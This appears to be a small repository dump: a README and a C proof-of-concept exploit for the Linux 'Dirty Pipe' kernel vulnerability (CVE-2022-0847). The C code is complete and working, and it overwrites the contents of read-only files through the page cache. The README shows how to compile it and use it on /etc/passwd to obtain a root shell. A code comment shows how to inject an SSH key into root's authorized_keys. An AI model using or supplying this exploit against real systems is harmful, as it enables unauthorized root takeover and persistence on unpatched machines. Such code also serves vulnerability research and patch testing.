├── README.md └── cve_2022_0847.c /README.md: -------------------------------------------------------------------------------- 1 | # CVE_2022_0847 2 | CVE-2022-0847: Linux Kernel Privilege Escalation Vulnerability 3 | 4 | --- 5 | ## POC 6 | 7 | A Simple Proof of concept to get root shell. 8 | 9 | ```bash 10 | $ gcc cve_2022_0847.c -o exploit 11 | $ ./exploit /etc/passwd 1 ootz: 12 | $ su rootz 13 | # id 14 | uid=0(root) gid=0(root) groups=0(root) 15 | ``` 16 | -------------------------------------------------------------------------------- /cve_2022_0847.c: -------------------------------------------------------------------------------- 1 | /* SPDX-License-Identifier: GPL-2.0 */ 2 | /* 3 | * Copyright 2022 CM4all GmbH / IONOS SE 4 | * 5 | * author: Max Kellermann 6 | * 7 | * Proof-of-concept exploit for the Dirty Pipe 8 | * vulnerability (CVE-2022-0847) caused by an uninitialized 9 | * "pipe_buffer.flags" variable. It demonstrates how to overwrite any 10 | * file contents in the page cache, even if the file is not permitted 11 | * to be written, immutable or on a read-only mount. 12 | * 13 | * This exploit requires Linux 5.8 or later; the code path was made 14 | * reachable by commit f6dd975583bd ("pipe: merge 15 | * anon_pipe_buf*_ops"). The commit did not introduce the bug, it was 16 | * there before, it just provided an easy way to exploit it. 17 | * 18 | * There are two major limitations of this exploit: the offset cannot 19 | * be on a page boundary (it needs to write one byte before the offset 20 | * to add a reference to this page to the pipe), and the write cannot 21 | * cross a page boundary. 22 | * 23 | * Example: ./write_anything /root/.ssh/authorized_keys 1 $'\nssh-ed25519 AAA......\n' 24 | * 25 | * Further explanation: https://dirtypipe.cm4all.com/ 26 | */ 27 | 28 | #define _GNU_SOURCE 29 | #include 30 | #include 31 | #include 32 | #include 33 | #include 34 | #include 35 | #include 36 | 37 | #ifndef PAGE_SIZE 38 | #define PAGE_SIZE 4096 39 | #endif 40 | 41 | /** 42 | * Create a pipe where all "bufs" on the pipe_inode_info ring have the 43 | * PIPE_BUF_FLAG_CAN_MERGE flag set. 44 | */ 45 | static void prepare_pipe(int p[2]) 46 | { 47 | if (pipe(p)) abort(); 48 | 49 | const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ); 50 | static char buffer[4096]; 51 | 52 | /* fill the pipe completely; each pipe_buffer will now have 53 | the PIPE_BUF_FLAG_CAN_MERGE flag */ 54 | for (unsigned r = pipe_size; r > 0;) { 55 | unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r; 56 | write(p[1], buffer, n); 57 | r -= n; 58 | } 59 | 60 | /* drain the pipe, freeing all pipe_buffer instances (but 61 | leaving the flags initialized) */ 62 | for (unsigned r = pipe_size; r > 0;) { 63 | unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r; 64 | read(p[0], buffer, n); 65 | r -= n; 66 | } 67 | 68 | /* the pipe is now empty, and if somebody adds a new 69 | pipe_buffer without initializing its "flags", the buffer 70 | will be mergeable */ 71 | } 72 | 73 | int main(int argc, char **argv) 74 | { 75 | if (argc != 4) { 76 | fprintf(stderr, "Usage: %s TARGETFILE OFFSET DATA\n", argv[0]); 77 | return EXIT_FAILURE; 78 | } 79 | 80 | /* dumb command-line argument parser */ 81 | const char *const path = argv[1]; 82 | loff_t offset = strtoul(argv[2], NULL, 0); 83 | const char *const data = argv[3]; 84 | const size_t data_size = strlen(data); 85 | 86 | if (offset % PAGE_SIZE == 0) { 87 | fprintf(stderr, "Sorry, cannot start writing at a page boundary\n"); 88 | return EXIT_FAILURE; 89 | } 90 | 91 | const loff_t next_page = (offset | (PAGE_SIZE - 1)) + 1; 92 | const loff_t end_offset = offset + (loff_t)data_size; 93 | if (end_offset > next_page) { 94 | fprintf(stderr, "Sorry, cannot write across a page boundary\n"); 95 | return EXIT_FAILURE; 96 | } 97 | 98 | /* open the input file and validate the specified offset */ 99 | const int fd = open(path, O_RDONLY); // yes, read-only! :-) 100 | if (fd < 0) { 101 | perror("open failed"); 102 | return EXIT_FAILURE; 103 | } 104 | 105 | struct stat st; 106 | if (fstat(fd, &st)) { 107 | perror("stat failed"); 108 | return EXIT_FAILURE; 109 | } 110 | 111 | if (offset > st.st_size) { 112 | fprintf(stderr, "Offset is not inside the file\n"); 113 | return EXIT_FAILURE; 114 | } 115 | 116 | if (end_offset > st.st_size) { 117 | fprintf(stderr, "Sorry, cannot enlarge the file\n"); 118 | return EXIT_FAILURE; 119 | } 120 | 121 | /* create the pipe with all flags initialized with 122 | PIPE_BUF_FLAG_CAN_MERGE */ 123 | int p[2]; 124 | prepare_pipe(p); 125 | 126 | /* splice one byte from before the specified offset into the 127 | pipe; this will add a reference to the page cache, but 128 | since copy_page_to_iter_pipe() does not initialize the 129 | "flags", PIPE_BUF_FLAG_CAN_MERGE is still set */ 130 | --offset; 131 | ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0); 132 | if (nbytes < 0) { 133 | perror("splice failed"); 134 | return EXIT_FAILURE; 135 | } 136 | if (nbytes == 0) { 137 | fprintf(stderr, "short splice\n"); 138 | return EXIT_FAILURE; 139 | } 140 | 141 | /* the following write will not create a new pipe_buffer, but 142 | will instead write into the page cache, because of the 143 | PIPE_BUF_FLAG_CAN_MERGE flag */ 144 | nbytes = write(p[1], data, data_size); 145 | if (nbytes < 0) { 146 | perror("write failed"); 147 | return EXIT_FAILURE; 148 | } 149 | if ((size_t)nbytes < data_size) { 150 | fprintf(stderr, "short write\n"); 151 | return EXIT_FAILURE; 152 | } 153 | 154 | printf("It worked!\n"); 155 | return EXIT_SUCCESS; 156 | } 157 | --------------------------------------------------------------------------------